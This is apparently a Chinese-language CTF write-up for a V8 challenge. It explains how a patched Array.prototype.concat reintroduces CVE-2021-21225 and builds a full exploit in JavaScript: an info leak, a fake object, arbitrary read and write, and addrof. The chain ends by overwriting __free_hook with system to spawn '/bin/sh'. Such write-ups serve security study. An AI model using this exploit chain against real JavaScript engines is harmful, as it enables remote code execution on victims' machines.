evilCallback: CVE-2021-21225

CVE-2016-1646

在进行这个分析中,可以先看一个比较旧的漏洞 CVE-2016-1646,在执行

1
a = [1].concat([2, 3]);

的时候,v8会使用

1
2
3
4
for (int i = 0; i < argument_count; i++) {
Handle<Object> object = args‑>at(i);
IterateElements(isolate, object, &visitor))
}

遍历concat()的每一个对象并且传入IterateElements,对于一个只有double元素的数组,它的elementsKind属于FAST_DOUBLE_ELEMENTS这时,在IterateElements会进入如下分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
switch (array‑>GetElementsKind()) {
case FAST_DOUBLE_ELEMENTS: {
// ...
Handle<FixedArray> elements(FixedArray::cast(array->elements()));
int fast_length = static_cast<int>(length);
// ...
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
// ...
Handle<Object> element_value(elements->get(j), isolate);
// ...
if (!element_value->IsTheHole(isolate)) {
if (!visitor->visit(j, element_value)) return false;
} else {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false;
}
});

在这里可以发现,数组的length被缓存下来,然后使用fast_length来控制循环次数,但如果遇到一个hole型的元素,就会使用JSReceiver::GetElement(isolate, array, j), false从原型链查找,这个时候会触发getter/setter callback,这里可以执行任意的JavaScript,如果在这个callback中

1
2
3
4
5
proto.__defineGetter__(1, function() {
array.length = 1;
new ArrayBuffer(0x7fe00000);
return 1;
});

就可以导致数组长度变短,并且经过垃圾回收,空闲的内存将被再次分配到其它对象,然而fast_length并没有被修改,导致越界读

CVE-2021-21225

从上面我们可以知道,如果在遍历过程中能够触发callback并且修改掉数组长度,就很有可能是不安全的,观察patch可以发现,patch其实就是重新引入了CVE-2021-21225,在visit()中,有

1
2
3
MAYBE_RETURN(
JSReceiver::CreateDataProperty(&it, elm, Just(kThrowOnError)), false);
return true;

这又会调用Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
Isolate* isolate = it->isolate();
DCHECK_IMPLIES(it->GetReceiver()->IsJSProxy(isolate),
it->GetName()->IsPrivateName(isolate));
DCHECK_IMPLIES(!it->IsElement() && it->GetName()->IsPrivateName(isolate),
it->state() == LookupIterator::DATA);
Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());

// Store on the holder which may be hidden behind the receiver.
DCHECK(it->HolderIsReceiverOrHiddenPrototype());

Handle<Object> to_assign = value;
// Convert the incoming value to a number for storing into typed arrays.
if (it->IsElement() && receiver->IsJSObject(isolate) &&
JSObject::cast(*receiver).HasTypedArrayOrRabGsabTypedArrayElements(
isolate)) {
ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();
if (IsBigIntTypedArrayElementsKind(elements_kind)) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
BigInt::FromObject(isolate, value),
Nothing<bool>());
if (Handle<JSTypedArray>::cast(receiver)->IsDetachedOrOutOfBounds()) {
return Just(true);
}
} else if (!value->IsNumber() && !value->IsUndefined(isolate)) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
Object::ToNumber(isolate, value),
Nothing<bool>());
if (Handle<JSTypedArray>::cast(receiver)->IsDetachedOrOutOfBounds()) {
return Just(true);
}
}
}

value不是Number的时候,会进一步调用Object::ToNumber这会触发valueOf callback,接下来我们只需要能进入外层的if,这里我们需要让receiver为一个TypedArray,这可以通过Symbol.species来实现,concat会通过Symbol.species来构造需要返回的对象,

1
2
3
4
5
6
7
8
9
class LeakTypedArray extends Float64Array { }
let lta = new LeakTypedArray(1024);

lta.__defineSetter__('length', function () { })

const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function () { return lta; }
});

这样我们就可以让它返回一个TypedArray了,然后通过valueOf callback,触发数组长度缩减

1
2
3
4
5
6
7
Array.prototype[0] = {
valueOf: function () {
a.length = 1;
new ArrayBuffer(0x7fe00000);
delete Array.prototype[0];
}
};

Build our primitive

Info leak

在v8中,literal array的储存方式为

1
2
Low                                                             High
[element 0][element 1]...[element n][Map][Property][Elements][Length]

所以通过越界读,我们可以泄漏出Map, PropertyElements,从而计算出其它相邻对象的地址

arbitrary r/w

首先我们要能够得到一个最基本的任意读写能力,通过以上的分析,我们可以轻松泄漏出相邻对象的地址,接下来我们考虑构造一个fake object,它的类型为Float Array,这在第一步的时候,通过泄漏的Map,Property,Elements,Length就可以实现,我们把这些泄漏数据存入fake_object_arr的buffer中,接下来它的buffer就会成为这个fake object。
对于一个混合类型的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
case PACKED_SMI_ELEMENTS:
case PACKED_ELEMENTS:
case PACKED_FROZEN_ELEMENTS:
case PACKED_SEALED_ELEMENTS:
case PACKED_NONEXTENSIBLE_ELEMENTS:
case HOLEY_SMI_ELEMENTS:
case HOLEY_FROZEN_ELEMENTS:
case HOLEY_SEALED_ELEMENTS:
case HOLEY_NONEXTENSIBLE_ELEMENTS:
case HOLEY_ELEMENTS: {
// Disallow execution so the cached elements won't change mid execution.
DisallowJavascriptExecution no_js(isolate);

// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);
if (!element_value->IsTheHole(isolate)) {
if (!visitor->visit(j, element_value)) return false;
} else {
Maybe<bool> maybe = JSReceiver::HasElement(isolate, array, j);
if (maybe.IsNothing()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false;
}
}
});
break;
}

将会获得对应元素的指针,如果我们通过callback缩减数组长度,并进行垃圾回收,从而让这个目标数组中hole的位置与另外一个存有我们fake_object地址的地址重叠,这个时候elements->get(j)就会返回我们的fake_object对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = [
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
/* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
];

// var fake_object = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]
// fake_object is defined in information_leak in order to leak its data

var addr = helper.lltof(helper.fake_object_arr_buffer_addr)
k.fill(0);
var fake_jsarray_object_ptr = [
1.1, 2.2, 3.3, 4.4, 1.1, 2.2, 3.3, 4.4, addr
]

这里,我们让addr和hole在垃圾回收后重叠,就可以获得一个以fake_object_arr_buffer_addr为地址的对象了,并且这个对象的属性可以通过fake_object来进行任意的控制,我们就获得了基础的任意读写能力,然而这里有一个问题,就是此时我们的对象其实是一个浮点数组,根上面的分析,这里会尝试将这个数组转换为Number,这会抛出异常,如果在原型链上再加一个callback,通过抛出异常我们就可以顺利退出这个函数,并且把得到的fake_object保存下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Array.prototype[9] = {
valueOf: function () {
a.length = 1;
k.length = 1;
new ArrayBuffer(0x7fe00000); // force gc
Object.prototype.valueOf = function () {
console.log("trigger");
target_array = this;
delete Object.prototype.valueOf;
throw 'bailout';
return 42;
}
delete Array.prototype[9];
return 1.1;
}
};

接下来构造任意读写

1
2
3
4
5
6
7
8
9
10
11
12
function arbread(addr) {
console.log("[*] read @" + helper.hex(addr));
helper.fake_object[2] = helper.lltof(addr - 0x10n);
return helper.ftoll(target_array[0]);
}

function arbwrite(addr, data) {
console.log("[*] write " + helper.hex(data) + " to @" + helper.hex(addr));
helper.fake_object[2] = helper.lltof(addr - 0x10n);
target_array[0] = helper.lltof(data << 8n);
return;
}

通过fake_object我们可以控制target_array的属性,fake_object[2]就是target_arrayelements指针,由此我们就实现了任意读写。

address of

在 JavaScript 引擎的漏洞利用中一个很重要的 primitive 就是 address of,让我们获取任意对象的地址,考虑

1
var arr = [{}, 1, 1, 1, 1, 1, 1]

arr是一个混合数组,其中存储的是对象的指针,我们将对象存入arr[0]再通过任意读读出这个位置的值,就能知道任意对象的地址了。

1
2
3
4
5
function addrof(object) {
helper.addrof_array[0] = object;
helper.fake_object[2] = helper.lltof(helper.addrof_array_addr);
return helper.ftoll(target_array[0]);
}

Code execution

有两种方法,在 JavaScript 引擎的利用中我们可以利用 wasm 或者 JIT 产生的 rwx 代码段写 shellcode,也可以靠普通的glibc方法(这里不同的库版本会有影响),泄漏 glibc 地址,写 freehook 拿到任意代码执行,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

console.log("[*] address of array: " + helper.hex(addr_of_arr))

addr_of_arr_constructor = addrof(arr.constructor) - 1n;

console.log("[*] address of array constructor: " + helper.hex(addr_of_arr_constructor))

arr_map_addr = arbread(addr_of_arr);
console.log("[*] address of arr_map_addr: " + helper.hex(arr_map_addr));

map_region = arr_map_addr & 0xFFFFFFFFFFFF0000n
console.log("[*] address of map_region: " + helper.hex(map_region));

p1 = map_region + 0x40n;
p2 = arbread(p1) / 256n;
p3 = arbread(p2) / 256n;
code = arbread(p3) / 256n - 0x389eb0n;
console.log("[+] code: " + helper.hex(code));

通过map我们可以拿到可执行文件的基址,然后通过GOT表拿到libc地址

1
2
3
4
5
6
7
8
9
10
11
puts_got = code + 0xfd86b0n;
libc_addr = arbread(memcpy_got) / 256n - 0xbbad0n;
console.log("[+] puts: " + helper.hex(arbread(puts_got) / 256n));

console.log("[+] libc_addr: " + helper.hex(libc_addr));

freehook = libc_addr + 0x1eee48n;
console.log("[+] freehook: " + helper.hex(freehook));

system = libc_addr + 0x52290n
console.log("[+] system: " + helper.hex(system));

然后写freehook为system,最后利用console.log会释放参数,执行任意命令

1
2
arbwrite(freehook, system);
console.log("/bin/sh");

enjoy your shell